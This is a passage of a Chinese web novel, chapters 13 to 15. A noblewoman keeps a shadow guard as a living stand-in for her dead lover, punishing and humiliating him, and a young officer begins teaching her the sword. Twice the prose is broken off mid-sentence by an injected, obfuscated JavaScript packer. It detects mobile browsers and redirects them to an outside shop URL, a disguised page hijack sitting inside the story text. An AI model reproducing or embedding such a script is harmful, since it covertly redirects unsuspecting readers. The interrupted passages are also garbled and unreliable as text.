殷芙转身,松开手掌,将碎绳扔在玄霜面前,盯着他的脸轻飘飘道:“是本小姐忘了,绳子绑不住你。” “大小姐恕罪,方才是属下一时情急……” 察觉到她居高临下望过来的视线,玄霜下意识低下脖颈,不想让殷芙看见他脸上的疹子,一对磨得通红的手腕捧得高高的。 “求大小姐,再绑紧些。” 13. 第十三章 玄霜半偏着脸,几缕碎发落下来,潦草遮掩住些许丑陋。 他从未如此在意过自己的脸,身为暗卫,生来就该一辈子待在旁人看不见的暗影里,至于暗卫的容貌,或许主子到死都不会记得,也没必要记得。 这种陌生的本能,令玄霜一时有些恍惚。 他究竟,还是玄霜吗? 窗外月色皎皎,落下一榻清辉。 烛火摇晃,半明半暗的光影落在玄霜身上。 男人修劲的腕子紧贴在一处,麻绳磨出的血痕渗着红肿,殷芙低眸看着,伸出手,不轻不重地摩挲了两下。 男人微不可察地颤了下,殷芙瞥他一眼,指尖慢慢抚摸过那两道肿起的红棱。 玄霜不知她是不是还在为他擅自挣开绳子一事生气,犹豫片刻,主动开口道:“大小姐若不放心,可换根更粗实的绳子,属下至多可受绑缚三日,若时间再长些,怕会伤及筋骨,血脉阻塞,致使麻木昏厥。” 在影阁时,阁主为训练暗卫们的耐性,时常用绳子将他们缚在阁后山林中,一缚便是一两夜。日子长了,玄霜很清楚自己这副身体所能忍耐的极限。 不过主子应当并不在乎这些,何况纪元中说过,这疹子要养上十天半月才能见好,玄霜默了默,又低声补充道:“一切听凭大小姐的意思,属下……多久都可以承受。” 殷芙凉凉哼了声,绑着有什么用,再结实的绳子,他想挣开,还不是一眨眼的事。 她玩够了,撇开那对送到眼前主动讨罚的手腕,走到妆台前,从匣子里找出一条从白沙村带回来的铃链。 链身上缀满小巧铃铛,白沙村的姑娘们性情奔放,总爱将这样的铃链编进发间,在村野间跑起来,风一吹,到处都是清亮亮的铃铛声响。 殷芙觉着有趣,也买了一条凑热闹,只是如今回了京城,这般有失闺秀仪态之物,自然是用不上了,便一直搁在匣子里落着灰。 殷芙命令玄霜双手背后,在他身后蹲下来,将铃链缠上去,一圈圈缚紧了。 她故意将细细的链子勒进那两圈可怜的红肿里,再系了个精巧的结。 玄霜手腕动了动,荡开一阵细颤铃音,他下意识绷紧了腕骨,不敢再动。 殷芙心满意足,重新回到榻上躺下来,侧身吹熄了灯烛。 “夜里老实些,若敢吵醒本小姐,本小姐定不会轻饶了你。” 链子纤细,便是女子也能轻易挣脱,自然缚不住玄霜,可上头的铃铛却是极难伺候的,只要稍稍一动,便会发出清脆铃响,殷芙本就觉浅,哪怕只有一丁点动静,也会闻声醒来。 如此一来,却是比麻绳还要难受许多,疼痛尚能忍耐,可要维持三四个时辰一动不动…… 玄霜闭了闭眼,小心蜷回脚榻边。 “是,大小姐。” 过度使用的肌肉泛起紧绷的酸胀,汗水无声淌过脖颈,很快打湿了衣裳和床褥。 没了旁的事分散心神,脸上的痒意便愈发难忍,仿佛有无数只蚊虫一刻不停地叮咬着他。 薄唇咬出丝丝血痕,沉重的喘息压在喉咙里,玄霜脖颈迸出青筋,极力忍耐着,没有乱动分毫。 只有养好这张脸,他才有做回“阿钰”的资格。 至少……可以陪在大小姐的身边。 寂静黑暗中,卑贱的暗卫蜷在地上,怀揣着一点自欺欺人的念想,一夜未眠。 天色渐亮,晨曦落进房中,廊下传来丫鬟们早起干活的脚步声,还有窃窃私语的说话声。 殷芙迷糊醒来,揉着眼睛坐起身,习惯性地想穿鞋下榻,脚踩下去,没踩到榻边放着的绣鞋,却踩到一截紧实的温热。 接着便听见一声低哑的喘息,殷芙顿时清醒了几分,低眸看去,便见自己未着袜履的足,正踩在玄霜的侧腰上。 破烂布条下露着深重鞭痕,经了一夜,已经有大半结了痂,踩在上头,有种奇异的感觉。 殷芙欣赏了一会儿,从这个角度看下去,暗卫的腰窄韧有力,十分养眼。 眼前这只脚榻比木头做的显然要舒服许多,殷芙便借着他,不紧不慢地穿上鞋袜,随口问道:“醒了?” 昨晚他倒是表现良好,铃铛一次也没有响,她夜里醒来几次,他始终一动不动地蜷在脚榻边,连呼吸声都克制地放得极轻。 玄霜其实根本没有睡着,但还是低应了声。 侧腰处传来的疼痛令他下意识弓起了身子,却仍是一下也不敢动。 殷芙将鞋子穿好,只当他是个榻边的物件,就这么踩着下了地,然后才蹲下身,替他解开了绑着手腕的铃链。 少女整个身体的重量一刹尽数压在那片凄惨的鞭伤上,即使她轻盈如蝶,玄霜还是将牙关咬得嗬嗬作响才勉强忍住了没有出声,他来不及活动麻木的手腕,便迅速起身,低着眼跪在殷芙面前。 “大小姐。” 他一转身,借着窗外透亮的天色,殷芙便看清了他的脸,不由眉心轻蹙,往后退了两步。 不过一夜功夫,他脸上的疹子又严重了许多,竟比昨日还要骇人。 好在惜月及时叩响了门,小声询问殷芙可起了,说纪元中送药过来,这会儿已在院外候着了。 昨日见过了殷芙发脾气,纪元中自然不敢怠慢殷芙的差事,通宵熬好了药膏,顶着两个乌青的眼圈,一大早便来了芙花院。 殷芙闻言,脸色这才缓和了几分,“让纪大夫稍候,你先替我梳洗更衣吧。” 惜月应了声是,很快捧着水盆棉巾进了屋。 殷芙皱眉瞧着玄霜的脸,夜里借着烛火,到底看不真切,如今天一亮,便看得格外清楚,她只觉又心烦起来,不大高兴地命令:“去墙角面壁跪着,别让本小姐看见你这张脸。” 玄霜低着头,看不见殷芙脸上神情,却从她的语气中隐隐意识到,他的脸大约是又严重了,所以才惹得她这般厌恶。 长指蜷进掌心,玄霜沉默起身,在门边角落里跪下,脸对着石墙,眼睫低垂。 里间传来钗环碰撞的响动,玄霜闭上眼,静静聆听着屋子里一切与殷芙有关的声响。 两个负责洒扫的小丫鬟进来擦地,见墙角面壁跪着个人,顿时吓了一跳,一面做活,一面忍不住偷偷拿眼打量着。 “这便是相爷花了大价钱给小姐买来的那个侍卫吗?” “这是犯了什么错,竟然被小姐这样罚……自小姐回来,我还是头一次见小姐责罚下人呢。” “这事儿我倒是知道些。”另一个丫鬟芳儿提着水桶在两人身旁蹲下,瞥了眼里屋的方向,压低声音神秘兮兮道,“我听素玉姐姐说,这侍卫长得和小姐死去的心上人一模一样,好险没把素玉姐姐吓个半死,还以为是见了鬼呢。” 丫鬟桂儿一脸惊讶:“真有此事?难不成……两人是双生子?” 芳儿嗤了声:“小姐的心上人可是永康侯府的公子,他不过是福气好,碰巧长得和裴公子相像罢了。从影阁那种地方买来的人,怎会和侯府沾亲带故?” 桂儿想了想,也是,听说影阁里收容的都是些自幼被抛弃的孤儿,出身肮脏低贱,阁主养着他们,用近乎残忍的手段将他们训练成杀人不眨眼的刀,从此匍匐于主人脚边,为主人尽忠卖命,挡刀赴死。 这样的人,怎么会和世代簪缨的裴家有关系。 芳儿继续道:“小姐思念故人,每晚在房中作画,都命他伴在身侧呢。可他偏偏不知道珍惜,竟然弄坏了自己的脸……听说好像是吃了什么发物,弄得满脸吓人的疹子,小姐见了自然觉着晦气,心情不好,罚他也是应当的。” 一旁的春禾听了,不由撇了撇嘴:“若是这样,倒真是活该挨罚,我若是他,必定把这张脸供起来仔细养着,哪敢让它出半点差错,夜里还要给那位裴公子的灵位磕几个头呢。这可是老天爷赏的福气,只要哄得小姐高兴,还愁以后过不上好日子吗?” 玄霜垂着眸,微微攥紧了手指。 惜月从里屋出来,将几人小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533358|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的交谈听得一清二楚,她眉心轻拧,低声斥道:“活都做完了?主子的事也是你们能议论的?再让我听见你们私底下乱嚼舌根,就禀了小姐,把你们都发卖了去。” 惜月是殷芙身边的大丫鬟,又不似素玉性子活泼,是以芙花院里的小丫鬟们多少都有些惧怕她,忙低下头喏喏认了错,再不敢言语。 惜月看了眼跪在墙角的男人,摇了摇头,默默叹了口气,推门出去了。 院子里,素玉正踮着脚晾衣裳,想起方才丫鬟们的闲言碎语,惜月皱起眉,快步走过去,一把将她拉到一旁。 “小姐和裴公子,还有玄霜的事,是你和那些丫头说的?” 素玉踉跄几步才站稳了,茫然眨了眨眼,点头道:“是啊,她们总问我小姐在白沙村时候的事,我便同她们讲了。” 她本就是嘴巴闲不住的性子,惜月又不爱和她说话,她只能去找那些年纪小的丫鬟们扯皮八卦,一来二去,便把殷芙的事抖了个干净。 惜月气得只恨不能把素玉的嘴拧下来,“小姐的事怎么能随意告诉旁人呢?万一有嘴碎的,将那些话传了出去……你可想过小姐的名声?” 京城人多,规矩也多,自然不能和在乡下时一样随心所欲。玄霜毕竟只是个侍卫,这样的事守在芙花院里也就罢了,若让外头的人知道,小姐与一低贱侍卫亲近,还不知要怎么议论小姐。 素玉懵了下,她根本没想过这么多,惜月见她一脸呆怔,更是后悔不已,早知她这般没脑子,当初她就该劝着小姐,把素玉留在白沙村的。 “往后小姐的事不许再对旁人说半个字,记住了吗?”惜月严厉地警告。 “知道了,知道了。我不说就是了嘛。”素玉害怕地缩了下肩膀,小声嘟囔着。 她答应得心不在焉,惜月仍是放心不下,却也不能时刻管着旁人的嘴,心中暗想,还是得寻个机会将此事告诉小姐一声才好。 纪元中还在外头等着,惜月无暇和素玉多话,快步出了院子去请人。 细白如雪的药膏装在一只樟木大罐里,散着些许草药苦香。纪元中把罐子捧到殷芙面前,献宝似的介绍道:“小姐,这七白膏可是消疹止痒的灵药,再配上琼花丸,不出十日,那位公子的脸定能恢复如初。” 殷芙抬手,示意惜月递上银子,“劳烦纪大夫了。” 纪元中忙双手接过,“小姐客气了,这都是老夫分内之事。” 他暗自掂了掂量分量,心道这趟差事倒是不白接,态度也愈发殷勤,“还有一样,这七白膏头次使用时是最要紧的,需得涂得格外仔细些,务必让药膏彻底浸入皮肤之中,日后才能慢慢起效,小姐可要老夫为那位公子上药?” 殷芙握着药罐,漫不经心道:“不必了,本小姐亲自来便是。” 阿钰的脸不能有任何闪失,唯有她亲自经手,才能放心。 命惜月将纪元中送出去,殷芙终于看向墙角,淡声道:“过来。” 那道面壁长跪的身影终于动了一动,玄霜回到殷芙面前跪下,跪姿挺拔,头却垂得极低。 发带松散,墨色长发垂落肩头,凌乱遮掩着发红的面颊。 殷芙眉心轻蹙,将药罐搁在一旁,“抬头。” 玄霜听出她话中的嫌弃,心口有微不可察的晦涩,他顺从地仰起脸,却见殷芙忽然俯身过来,一手扯下他发间松垮的束带,一手将他凌乱的发丝拢起。 心蓦然跳快了一息,他闻到她身上清雅的花香,骤然靠近的距离,令他几乎能感受到她泛着热意的体温,像那日她醉酒后,贴进怀里的温度。 大小姐……在为他束发。 这念头才一浮现,还不及生根发芽,殷芙已经三两下便将他的头发高高束起,又将鬓边几根碍事的碎发也一并理到耳后,露出他布满红疹的面颊。 玄霜眼睫轻动,那点微弱的火光,轻轻晃了一晃,不及风吹,便悄然熄灭了。 原来,只是,只是为了给裴公子的脸,上药而已。 14. 第十四章 殷芙皱眉望着玄霜的脸,捧着药罐,迟迟未动。 她实在不想用手去触碰那些丑陋可怖的红疹,思索了好一会儿,终于想到个办法。她唤来惜月,命她去取一根干净的,挑染衣裳时所用的细长竹棍。 殷芙将竹棍的一端浸在药罐里,滚满丰润的膏脂,按在玄霜脸上,细细滚碾,再一下下抽打,让那药膏渗进皮肤里去。 竹棍抽在脸颊,声响沉闷。 暗卫跪在地上,高仰着脸,若是不知情的见了,还以为是哪个犯了错的奴隶,在被大小姐教训。 脸上很快浮起道道显眼的棱印,玄霜薄唇紧抿,脖颈鼓起暗青筋络。 他忽而意识到,大小姐……是不愿碰他,所以才会如此。 眼睫猛然颤了下,玄霜攥紧了双手,胸膛微微起伏。 是了,没有这张脸,他什么都不是,大小姐又怎么会愿意碰他。 不知过了多久,殷芙终于停了手,把药罐递给他,叮嘱道:“好了,这药一日要涂三次,自己仔细着些。” “是,大小姐。”男人低垂的眼睫下,一双漆眸深邃平静。 殷芙的视线扫过他破烂的胸前和大腿,半晌,轻描淡写道:“身上不许上药。” “……是。”玄霜嗓音沙哑。 这副身体,唯有这张脸是金贵的,至于其它地方,自然不配得到大小姐半点怜惜。 “行了,下去吧。”他如今这副模样,殷芙一眼也不想多看,扬了扬手,示意他赶紧离开。 暗卫的身影很快听话地消失在门口。 殷芙心不在焉地望着窗外,人是走了,可那张被疹子毁了的脸还是时不时地在脑海中浮现,和裴钰温柔清隽的面容模糊在一处,令她心烦意乱。 早饭殷芙只用了几口清粥便搁了碗,思来想去,到底还是放心不下,她叫来项丛,命他这几日务必寸步不离地盯着玄霜,虽然那七白膏有止痒之效,但还是得看紧了,不许他擅自抓挠。 大小姐亲自交代差事,可见此事何等紧要,项丛忙答应下来,“小姐放心,奴才一定看好他。” 项丛前脚刚走,后脚惜月便进来了。 见殷芙倚在软榻上闭目养神,一手轻轻按着眉心,似乎不大舒服,惜月放轻了脚步走过去,轻车熟路地替她揉按起太阳穴。 “何事?”殷芙闭着眼睛问。 惜月犹豫了下,小声把方才丫鬟们碎嘴议论的事说了。 “……小姐,素玉在乡下散漫惯了,不懂京中人情规矩,那张嘴也没个把门,您留着她,奴婢实在担心,有一天她会害了小姐的名声。”惜月忧心道,“奴婢知道小姐顾念旧情,不如就给她一笔银子,将她送回白沙村,寻户好人家许了,也不枉她跟了小姐一场。” 殷芙淡淡道:“私下议论主子,是为大不敬。念她们年纪还小,只罚十板子,长个记性便罢了。既是在本小姐院子里伺候的人,你也该给她们立一立规矩,管几个小丫头,应当难不住你。” 惜月连忙道:“是,奴婢一定尽心管教,不该传出去的话,绝不会从芙花院里传出半句。” 顿了顿,她忍不住又问:“那素玉……” 倒不是她存心排挤素玉,她虽不喜欢素玉,但也没到讨厌的地步,何况她如今已是殷芙身边的管事大丫鬟了,素玉走不走,都影响不了她什么。 只是这样一个爱讲闲话的丫鬟放在身边,她终究替小姐感到不安。 殷芙闭着眼静了半晌,“她毕竟照顾过阿钰,那段时日,也多亏了她帮忙。” 当初裴钰为她挡刀受伤卧床,她和惜月两人又要看顾李蕙,实在忙不开,便从村头人牙子手里买来了素玉。 一共六个小丫头,都瘦得和竹竿儿一样,巴巴地望着殷芙。 玉和钰同音,也算是缘分,因着这名字,殷芙便把素玉带了回去。 后来,也是素玉守在空荡荡的木床前,痛哭流涕地告诉她,裴钰没了。 想起旧事,殷芙呼吸微深,没再说话。 惜月在心里叹了口气,小姐待裴公子情深意重,哪怕只是个曾经照料过裴公子的丫鬟,到底也有不一样的情分在,哪能轻易舍下。于是她也只能顺着殷芙的话将此事含糊揭过,“是,奴婢晓得了。往后,奴婢多提醒着她些便是。” 晌午,殷芙用过饭,小憩了片刻,便按照约好的时辰去了松寿堂,听杨望松讲授课业。 她学得很快,许多东西一点就通,尤其在诗文之道上,颇具天分。 杨望松对她赞不绝口,殷芙便也坦言,裴钰曾经教过她一段时日,杨望松所讲的这些,有大半她已经学过了。 提起裴钰,两人不免都有些感伤。 傍晚,殷芙回到芙花院,房中已摆好了饭菜,厨娘惦记着院里主子喜食鱼脍,卯足了劲头苦练刀工,今日又片了一碟送来。 殷芙才别过杨望松,心里还想着裴钰的事,看见案上摆着的鱼脍,不由又想起了玄霜的脸。 她没什么胃口,草草吃了几口便搁了筷子,将那碟鱼脍赏了素玉,又让吩咐小厨房,以后一日三餐,皆不许见鱼。 戌时初,案角点起烛灯,光影幢幢。 没有玄霜伴在身侧,殷芙几次落笔,皆不得满意,好不容易画成一张,偏偏最后画那颗眉间痣时,手腕不知为何抖了一抖,那点嫣红便落在了画中人的脸上,如刺目的红疹。 这一晚,殷芙做了个冗长的噩梦。 梦里,雨声潇潇,郎君叩门而来,篷帽下的脸,却没有眉目五官,一片红艳艳的模糊。 她猛然关上了门,惊坐起身,额头冷汗涔涔。 惜月进来时便看见殷芙怔坐在床上,脸色苍白,眼下泛着淡淡乌青。 惜月赶忙走过去,拿帕子替殷芙擦拭着额头的汗。 “小姐昨夜可是又没睡好?这纪大夫开的安神药也不管用啊,如此下去,小姐的身体如何吃得消……” 殷芙拿过茶盏喝了口茶,心不在焉道:“我没事,只是做了个不大好的梦。” 勉强下榻用了些早饭,殷芙缓了半晌,仍觉神思倦怠,身上也恹恹的提不起力气,索性称病休息,让杨望松这几日暂且不必来殷府教课。 在榻上躺了两日,恍恍惚惚的,殷芙又做了许多梦。 大多都是些在白沙村时候的旧事,梦里,她挽着裴钰的手走在白沙村的早集上,拿起一支素簪笑着问他好不好看,一转头,郎君的脸却仍旧模糊一片。 慢慢的,梦里的情景又变了。 落着雨的草屋,小院里盛开的朝颜。 半支的小窗下,郎君轻打薄扇,随月色淌进一捧流萤。 忽地,那张脸又逐渐真切起来,那人穿着裴钰的衣裳,却跪在她身前,低眉垂目,如一柄收鞘的利刃,嗓音低哑地唤她,大小姐。 “小姐?小姐?” 惜月的声音将她从睡梦中摇醒,“快别睡了,相爷过来看您了。” 听说殷芙生病,李蕙过来看了她好几次,殷至邺心中也牵挂着,奈何政务繁忙抽不开身,今日还是特地告了半日的假回来的。 殷芙顿时清醒了大半,忙起身收拾了,一面朝前堂去,一面让惜月去沏一壶清山雪芽,是爹爹以前最爱喝的。 远远望见殷至邺坐在堂中,殷芙理了理衣裳,正要福身行礼,殷至邺忙站起身,抬手拦住了她。 “好端端的怎的就病了?府医若不管用,改日爹爹去求了你姑姑,请位太医过来给你瞧瞧身子。”殷至邺眉头紧皱,“瞧你,这几日又瘦了不少。” 殷芙笑道:“爹爹,阿芙没事,只是这两日有些睡不好,白日里总是困,所以才同杨夫子说了假。” 殷至邺又细细打量了她一番,见她确有精神,不似病容,应无大碍,这才稍稍松了口气。 惜月上了茶,父女俩坐下来说了会儿话,殷至邺问起她在府中待得可还习惯,若有想添置的东西,只管同管家去说。 “对了,前几日,你娘同我说了些事情。”殷至邺瞧着她神情,到底没再提裴钰的名字,只柔和道,“这些年你在外头受了不少的苦,爹爹对你多有亏欠,还不及弥补,也不想你太早嫁人。你娘那日一说,爹爹也想明白了,任外头如何议论,咱们殷家又不靠名声过日子,你既不喜欢那沈公子,咱们便不嫁,便是养你一辈子,爹爹也是养得起的。” 殷芙弯眸笑起来:“多谢爹爹。” 多年未见女儿这般朝他笑过了,殷至邺一时恍惚,眼眶倏然一红,忙低头喝茶,假装是茶雾烫红了眼睛。 “只是,这件事毕竟是陛下的意思,待陛下病愈,我便带你入宫面见陛下,阐明此事。陛下怜惜你,应当不会太过为难,再不济有你姑姑在,总能办成事的。” 殷芙看见两鬓斑白的父亲眼角的红,心口不禁也有些发酸,她别开脸假装没看见,故作欢喜道:“好,有爹爹在,阿芙便安心了。” 虽然她已经不再是幼时粘在殷至邺身后,事事都要依靠爹爹的女娃娃了,但爹爹……应当还需要她的依赖。 品着盏中清香醇冽的清山雪芽,殷至邺愈发感叹女儿贴心,殷芙见他喜欢,便又给他添了两回茶。 殷至邺忽然想起什么,不由一拍脑门:“瞧爹爹如今这记性,只顾着喝茶,险些忘了要紧事。听你娘说,你想寻个师父教你习武,爹爹这几日一直留心着,总算遇着一位合适的,只年纪小了些,虽称不上师父,但论本事,也是足够的。” 说起这差事,可着实费了殷至邺不少心力。若殷芙是寻常人家的姑娘便罢了,京中有不少身手好的练家子,都乐得接个赚钱的活计,可一听是相府的千金,皇帝亲封的安平郡主,便都打起了退堂鼓。 要练本事,自然免不了磕碰受伤,郡主何等尊贵,万一伤了哪儿,赖到他们头上,这罪责可没人能承担得起。 他托了不少人帮忙留意,终于有一人毛遂自荐,就在方才,寻上门来。 殷芙也知道此事难办,不由好奇道:“这么快就寻到了?是何人?” “此人名叫林平,年方十六,如今在戍京司任职。”殷至邺道,“说来,也算是有些缘分,他母亲是永康侯的妹妹,论辈分,他该唤那位裴家三郎一声表兄。” 一刻钟后,殷芙见到了这位年纪轻轻的戍京司副卫将军。 林平笑嘻嘻打量她:“一早便听闻郡主仙姿玉貌,今日一见,果然名不虚传。我比郡主年纪小些,便攀个近,唤郡主一声姐姐,姐姐应当不介意吧?” 殷芙上上下下打量他一番。 十六岁便能入戍京司,可见此人确有几分本事。如此,他这油嘴滑舌的毛病,倒是勉强可以忍受。 林平坦然由她打量,“姐姐是不信我的功夫?我虽年轻,和司中那些前辈们自是没法比,但用来教姐姐却是绰绰有余。旁的不说,论剑术,我若称第二,京中可没人敢称第一。” 狂妄自大可不是什么好习惯,殷芙微微皱眉,看向他身上佩剑。 “戍京司事务繁忙,难为林副卫,还愿空出闲暇来教我。” 林平也不急着露两手,悠哉游哉道:“实不相瞒,其实我是有一事好奇,想借此机会,亲口问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537359|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一问姐姐,所以才自告奋勇,向相爷揽了这差事的。” “听说姐姐曾与我那三表兄私定终身,这话可是真的?还是姐姐拿来推脱沈家婚事的说辞?” 殷芙面色不改:“婚姻大事,怎可胡言戏说,自然是真的。” “可姐姐不是说,我三表兄已经死了吗?”林平眨巴眼睛,一脸坦荡,“何况我那三表兄也没什么好的,如何配得上姐姐?我从小借住在裴家,这些年也见过他几面,一身酸掉牙的文人气,怪不得舅舅不喜欢他呢。” 一旁的惜月听得心惊胆战,平日里她是万般小心,生怕不小心提及了裴钰的名字,惹得小姐伤心难过,可这人不仅明目张胆地在小姐面前提起裴钰,还、还说了他许多坏话…… 殷芙眸色深了深,想着他还未及弱冠,不过是个乳臭未干的小孩,不想和他计较什么,可林平却偏偏倒豆子般说个不停:“再者,姐姐不是不喜欢那些秀气书生吗?不然,为何瞧不上那沈状元。” “找郎君还是要找个身体健壮,能打能抗的,姐姐说是不是?否则和我那三表兄一样,早早没了,只留姐姐独自伤心,实在没良心。” 林平挺了挺胸脯,终于图穷匕见,“若是姐姐瞧得上我……” 殷芙淡声打断他:“是侯爷授意你来的?” 林平一顿,脸色微微发红,“是,是舅舅的意思……” 说罢,又连忙找补,“但,我也是真心喜欢姐姐的。” 毕竟这世上,没有男子会不喜欢美人。 那日宫中之事传到裴决耳中,裴决大为震撼,那个被他丢去乡下的没用儿子,竟有本事攀上相府,偏又福薄,早早病死了。 朝中文武两派关系向来不算亲近,若能同殷家结为姻亲,自然是件极好的事,奈何他两个儿子都已定了亲事,思来想去,唯有林平可用。 林平起初还十分不愿,直到一日,他在酒肆遇见吃醉了酒的沈清,从他口中听说殷氏女娉婷艳绝,便按捺不住动了心思,这才有了今日这番行事。 殷芙只平淡道:“林副卫还是再长几年,再来说这话吧。” 林平顿时脸颊涨红,倔强反驳:“我已经十六了!可以娶妻了……” “林副卫若是来议亲的,烦请去寻我父亲商谈。”看在他年岁尚小的份上,殷芙按下了将他毒哑的冲动,“不过看林副卫两手空空,也不像是来议亲的样子。林副卫愿教便教,不愿教,便请回吧。” 林平急了:“我自然愿教姐姐,而且、而且也不是空手来的。” 林平把手中的剑递给殷芙,婚事成不成都是其次,他绝不容许有人质疑他吃饭的本事。 “姐姐初学剑术,用轻便些的剑会顺手一些,这把剑是我特意去铁匠铺子给姐姐新打的,名为归雁。” 雁…… 裴钰教过她,雁表定情,亦寄相思。 归雁身似薄绢,刃光如水。 林平教了她一套简单的剑法,不得不说,此人认真起来,确有几分少年意气,飒爽英姿。 不过殷芙最后还是没收下归雁,只说是暂时借他的,改日得了趁手的,便还给他。 既教了她,便算是她半个师父,殷芙待林平还算客气,只是林平那番话,到底还是触了她的痛处。 是啊,若是裴钰身子好些,便不会早早撒手人寰,抛下她一人。 殷芙心里想着事,手上剑光流转,片刻未歇,练着练着,不知不觉,天色便黑了下来。 她收了剑,擦了擦额上的汗,正欲回房,余光瞥见身后树影轻颤,一瞬又归于平静。 殷芙停下脚步,朝着黑漆漆的夜色唤了声:“玄霜。” 等了一息,不见人来,她有些不耐,微微扬高了声音:“玄霜。” 一道人影无声跃落于地,男人单膝跪于她身后,嗓音和着沙沙风声,低沉动听。 “属下在。” 殷芙这会儿心情不好,自然要寻个人发泄,“第一遍叫你,为何不应?” 玄霜喉结轻动,“大小姐恕罪,属下……” 方才,是殷芙第一次叫他的名字。 这些日子,他听惯了“阿钰”二字,一时竟忘了,他原本,是有名字的。 话到嘴边,却不知该如何解释,玄霜垂眸,“请大小姐罚。” 殷芙哼了声,目光落在他的脸上,院中夜色漆黑,殷芙看不真切,只模糊看出男人优越的五官轮廓。 “脸可好些了?” “回大小姐话,已经好多了。” 月华如练,将殷芙手中的剑鞘镀上一层清浅银光,玄霜默了默,低声道:“练剑辛苦,大小姐不必学这些,若有危险,属下会护着大小姐的。” 倒是难得见玄霜主动和她说话,殷芙瞥他一眼,漫不经心道:“人总要靠自己,你又不会一辈子守在本小姐身边。” 就像裴钰,当初山盟海誓,白首之约,如今又是如何光景。 周遭静了片刻。 而后她便听见跪在身前的暗卫低声道,“属下会一辈子守着大小姐的。” “只要大小姐……没有丢弃属下。” 夜色阒静,男人嗓音低哑,磁沉动听。 殷芙怔了一瞬,忽而想起昨夜做的梦。 能出现在她梦里的,唯有裴钰,开口却是玄霜的声音,一声声低唤着她大小姐,令她恍惚分不清楚,她所梦见的,究竟是谁。 她忽觉心烦,恹恹道:“别叫我大小姐。” 跪在黑影里的暗卫默了默,片刻后,低声改了口。 “是,主人。” 15. 第十五章 殷芙微怔,心口仿佛有细小的羽毛划过,泛起一丝异样的感受。 她忽然很想再听一遍,于是便用剑鞘挑起玄霜下颌,命令道:“再唤一声。” 清冷月辉落进暗卫如深潭般漆黑的眼底,殷芙恍惚发觉,他的眼睛,似乎比裴钰要好看许多,像未经雕琢的黑玉,纯粹,干净。 玄霜喉结轻动,另一只膝盖无声跪了下去,双手下意识背在身后,低声道:“主人。” 心忽然跳得有些快,殷芙按了按心口,上次它跳得这般快,似乎还是那个雨夜,她初见裴钰的时候。 想起裴钰,殷芙眼眸微暗,忽然就失了兴致,心不在焉道:“还是唤大小姐吧。” 玄霜察觉到她似乎心情不好,不敢多问,低低应了声是。 他看着殷芙把那把归雁收回腰间,想起那个叫林平的少年赠剑给殷芙时脸上飞扬的神采,不由抿紧了唇,犹豫半晌,终于鼓起勇气,将酝酿了一下午的话说出了口。 “大小姐,恕属下多嘴,那位林副卫擅使花样,乍一看的确唬人眼睛,功夫却并不扎实,大小姐若要跟着他学,只学其中精华便好。” 这话殷芙倒是认同,嘴上却不置可否:“怎么,你瞧不上林副卫的本事,想替他教本小姐?” “属下不敢,属下身份卑贱,怎配教导大小姐。” 殷芙哼了声。 玄霜看向她腰间的归雁,声音低了几分:“属下……属下是想说,这把剑身长费力,大小姐力气不够,怕是不趁手。” 说罢,他便从袖中取出贴身匕首,双手捧着,送到殷芙面前。 “大小姐若不嫌弃,可试试这把玉影。” 殷芙终于正眼看了他一眼,随手接过来,打量了一番。 紫檀木制成的刀柄,上头雕刻的纹路已看不清模样,想来应是主人贴身之物,日日放在手中摩挲,才会磨损成这般。 匕刃出鞘,映着清皎月光,寒光凛凛,肃杀尽现,她虽不懂兵器,却也看得出这是难得的好东西。 殷芙合拢剑鞘,不经意道:“这把匕首跟了你不少年吧?就这么送给本小姐,你舍得?” “属下行事粗糙,用不上这么好的东西,大小姐……不嫌弃属下用过就好。” 这把玉影,乃影阁阁主的藏宝阁中一等一的宝贝,那年阁主难得高兴,从藏宝阁里拿了不少东西赏人,玉影便是阁主允诺给第一名的奖赏。 青祀为此卯足了劲头,谁知最后阁主拿眼打量他一番,说他生得鬼面獠牙,模样粗犷如同山匪,配不上玉影好模样,便将玉影给了排名第二的玄霜。 从那时起,玉影便一直跟着他。 玉影若能伴在大小姐身边,便如同他时刻陪着大小姐一般。 若是有一日他为护大小姐而死,玉影,也能替他继续陪着大小姐。 只是他卑怯的私心,并不敢让大小姐知晓。 剑鞘温热,还带着男人的体温。 殷芙缓缓抚摸过,“玉影,钰影。名字倒是不错。” 她语气散漫,说着,便将归雁解了下来,把玉影佩在腰间。 玄霜没有听出她的弦外之音,只是见她收下,心终于落了地,唇角轻抿。 “多谢大小姐。” 殷芙看了眼天边高悬的明月,估摸着快到牵乌发作的时辰了,便道:“随本小姐过来。” “是。” 玄霜起身,跟在殷芙身后,进了她的卧房。 屋中烛光柔亮,窗下流溢着盈盈月辉。 殷芙去暗格里取了解药,回到里间时,暗卫已自觉跪在了榻边。 是她作画时喜欢让他摆出的跪姿,也是他惯常在她面前的样子。 殷芙不觉唇角轻勾,心头的烦闷悄然消散了大半,她脚步轻快地走过去,朝玄霜勾勾手指,“过来,让本小姐看看你的脸养得如何了。” 玄霜听话地膝行上前,抬起头来。 对上殷芙望过来的眼睛,玄霜心口忽地跳快了一息,想起自己如今的模样,他下意识低了头,脸也微微偏了几分。 他现在的脸很丑,会脏了大小姐的眼睛。 殷芙不高兴地蹙眉,伸手捏住他下颌,强迫他将脸摆正:“躲?” 